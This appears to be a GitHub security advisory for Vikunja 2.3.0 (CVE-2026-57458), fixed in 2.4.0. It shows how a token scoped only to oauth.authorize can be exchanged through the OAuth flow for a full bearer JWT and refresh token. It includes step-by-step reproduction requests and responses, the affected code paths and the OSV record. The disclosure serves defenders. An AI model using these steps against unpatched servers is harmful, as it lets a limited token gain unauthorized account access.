GHSA-V3P6-34MC-HJ7V
Vulnerability from github – Published: 2026-10-09 20:40 – Updated: 2026-10-09 20:40Summary
A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.
A token limited to:
{"oauth":["authorize"]}
can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.
Affected Component
- Scoped API tokens
- OAuth authorization flow
POST /api/v1/oauth/authorizePOST /api/v1/oauth/token
Impact
A narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.
This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.
Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:
GET /api/v1/userGET /api/v1/projects
No cross-user access, privilege escalation to admin, or access to another account was validated.
Technical Details
The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.
The vulnerable chain is:
- A scoped API token authenticates the request and sets the current user context.
/api/v1/oauth/authorizeaccepts that API-token-authenticated user as a valid OAuth resource owner.- The OAuth authorization endpoint issues an authorization code.
/api/v1/oauth/tokenexchanges that code for a normal bearer JWT and refresh token.- The resulting credentials are not bound to the original API-token permissions.
Relevant code paths:
-
pkg/routes/routes.go -
registers
/api/v1/oauth/authorizein an authenticated API route group that also accepts scoped API tokens -
pkg/models/api_routes.go -
exposes non-CRUD subroutes as API-token permissions
-
exposes the OAuth authorization endpoint under the
oauthpermission group -
pkg/routes/api_tokens.go -
stores
api_tokenandapi_userin the request context during API-token authentication -
pkg/user/user.go -
treats
api_useras an authenticated current user -
pkg/modules/auth/oauth2server/authorize.go -
uses the current user and issues an OAuth authorization code
-
pkg/modules/auth/oauth2server/token.go -
exchanges the authorization code for a normal JWT and refresh token
Steps to Reproduce
1. Create a scoped API token
Create an API token with only the following permission:
{"oauth":["authorize"]}
Observed response:
201 Created
The returned token had only the oauth.authorize permission.
2. Negative control: direct access with scoped token fails
Request:
GET /api/v1/user
Authorization: Bearer <scoped-api-token>
Observed response:
401 Unauthorized
Response body:
{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}
This confirms that the scoped token cannot directly access the normal user route.
3. Obtain an OAuth authorization code with the scoped token
Request:
POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json
Body:
{
"response_type": "code",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_challenge": "<pkce-s256-challenge>",
"code_challenge_method": "S256"
}
Observed response:
200 OK
Response body:
{
"code": "<redacted>",
"redirect_uri": "vikunja-flutter://callback",
"state": ""
}
The scoped API token successfully obtained an OAuth authorization code.
4. Exchange the authorization code for session credentials
Request:
POST /api/v1/oauth/token
Content-Type: application/json
Body:
{
"grant_type": "authorization_code",
"code": "<redacted>",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_verifier": "<original-pkce-verifier>"
}
Observed response:
200 OK
Response body:
{
"access_token": "<redacted>",
"token_type": "bearer",
"expires_in": 600,
"refresh_token": "<redacted>"
}
The authorization code was exchanged for a normal access token and refresh token.
5. Use the minted access token on normal routes
Request:
GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>
Observed response:
200 OK
Additional scope check:
GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>
Observed response:
200 OK
The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.
Expected Behavior
A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.
/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.
Actual Behavior
A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.
The minted credentials are not restricted by the original API-token permissions.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.3.0"
]
}
],
"aliases": [
"CVE-2026-57458"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:40:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nA scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.\n\nA token limited to:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\ncan call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.\n\n## Affected Component\n\n* Scoped API tokens\n* OAuth authorization flow\n* `POST /api/v1/oauth/authorize`\n* `POST /api/v1/oauth/token`\n\n## Impact\n\nA narrowly scoped API token with only `oauth.authorize` can be converted into normal session credentials for the same user.\n\nThis bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.\n\nRuntime validation showed that the original scoped token could not access `GET /api/v1/user`, but the minted OAuth access token could access:\n\n* `GET /api/v1/user`\n* `GET /api/v1/projects`\n\nNo cross-user access, privilege escalation to admin, or access to another account was validated.\n\n## Technical Details\n\nThe issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.\n\nThe vulnerable chain is:\n\n1. A scoped API token authenticates the request and sets the current user context.\n2. `/api/v1/oauth/authorize` accepts that API-token-authenticated user as a valid OAuth resource owner.\n3. The OAuth authorization endpoint issues an authorization code.\n4. `/api/v1/oauth/token` exchanges that code for a normal bearer JWT and refresh token.\n5. The resulting credentials are not bound to the original API-token permissions.\n\nRelevant code paths:\n\n* `pkg/routes/routes.go`\n\n * registers `/api/v1/oauth/authorize` in an authenticated API route group that also accepts scoped API tokens\n\n* `pkg/models/api_routes.go`\n\n * exposes non-CRUD subroutes as API-token permissions\n * exposes the OAuth authorization endpoint under the `oauth` permission group\n\n* `pkg/routes/api_tokens.go`\n\n * stores `api_token` and `api_user` in the request context during API-token authentication\n\n* `pkg/user/user.go`\n\n * treats `api_user` as an authenticated current user\n\n* `pkg/modules/auth/oauth2server/authorize.go`\n\n * uses the current user and issues an OAuth authorization code\n\n* `pkg/modules/auth/oauth2server/token.go`\n\n * exchanges the authorization code for a normal JWT and refresh token\n\n## Steps to Reproduce\n\n### 1. Create a scoped API token\n\nCreate an API token with only the following permission:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\nObserved response:\n\n```http\n201 Created\n```\n\nThe returned token had only the `oauth.authorize` permission.\n\n### 2. Negative control: direct access with scoped token fails\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer \u003cscoped-api-token\u003e\n```\n\nObserved response:\n\n```http\n401 Unauthorized\n```\n\nResponse body:\n\n```json\n{\"code\":11,\"message\":\"missing, malformed, expired or otherwise invalid token provided\"}\n```\n\nThis confirms that the scoped token cannot directly access the normal user route.\n\n### 3. Obtain an OAuth authorization code with the scoped token\n\nRequest:\n\n```http\nPOST /api/v1/oauth/authorize\nAuthorization: Bearer \u003cscoped-api-token\u003e\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n \"response_type\": \"code\",\n \"client_id\": \"vikunja\",\n \"redirect_uri\": \"vikunja-flutter://callback\",\n \"code_challenge\": \"\u003cpkce-s256-challenge\u003e\",\n \"code_challenge_method\": \"S256\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n \"code\": \"\u003credacted\u003e\",\n \"redirect_uri\": \"vikunja-flutter://callback\",\n \"state\": \"\"\n}\n```\n\nThe scoped API token successfully obtained an OAuth authorization code.\n\n### 4. Exchange the authorization code for session credentials\n\nRequest:\n\n```http\nPOST /api/v1/oauth/token\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n \"grant_type\": \"authorization_code\",\n \"code\": \"\u003credacted\u003e\",\n \"client_id\": \"vikunja\",\n \"redirect_uri\": \"vikunja-flutter://callback\",\n \"code_verifier\": \"\u003coriginal-pkce-verifier\u003e\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n \"access_token\": \"\u003credacted\u003e\",\n \"token_type\": \"bearer\",\n \"expires_in\": 600,\n \"refresh_token\": \"\u003credacted\u003e\"\n}\n```\n\nThe authorization code was exchanged for a normal access token and refresh token.\n\n### 5. Use the minted access token on normal routes\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer \u003cminted-oauth-access-token\u003e\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nAdditional scope check:\n\n```http\nGET /api/v1/projects\nAuthorization: Bearer \u003cminted-oauth-access-token\u003e\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nThe minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.\n\n## Expected Behavior\n\nA scoped API token should not be able to obtain credentials with broader permissions than its declared scope.\n\n`/api/v1/oauth/authorize` should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.\n\n## Actual Behavior\n\nA token scoped only to `oauth.authorize` can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.\n\nThe minted credentials are not restricted by the original API-token permissions.",
"id": "GHSA-v3p6-34mc-hj7v",
"modified": "2026-10-09T20:40:28Z",
"published": "2026-10-09T20:40:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/4ae2e093014881052ed8f8ecd8bcb9adf83dd276"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja: Scoped API token can mint unrestricted OAuth session credentials"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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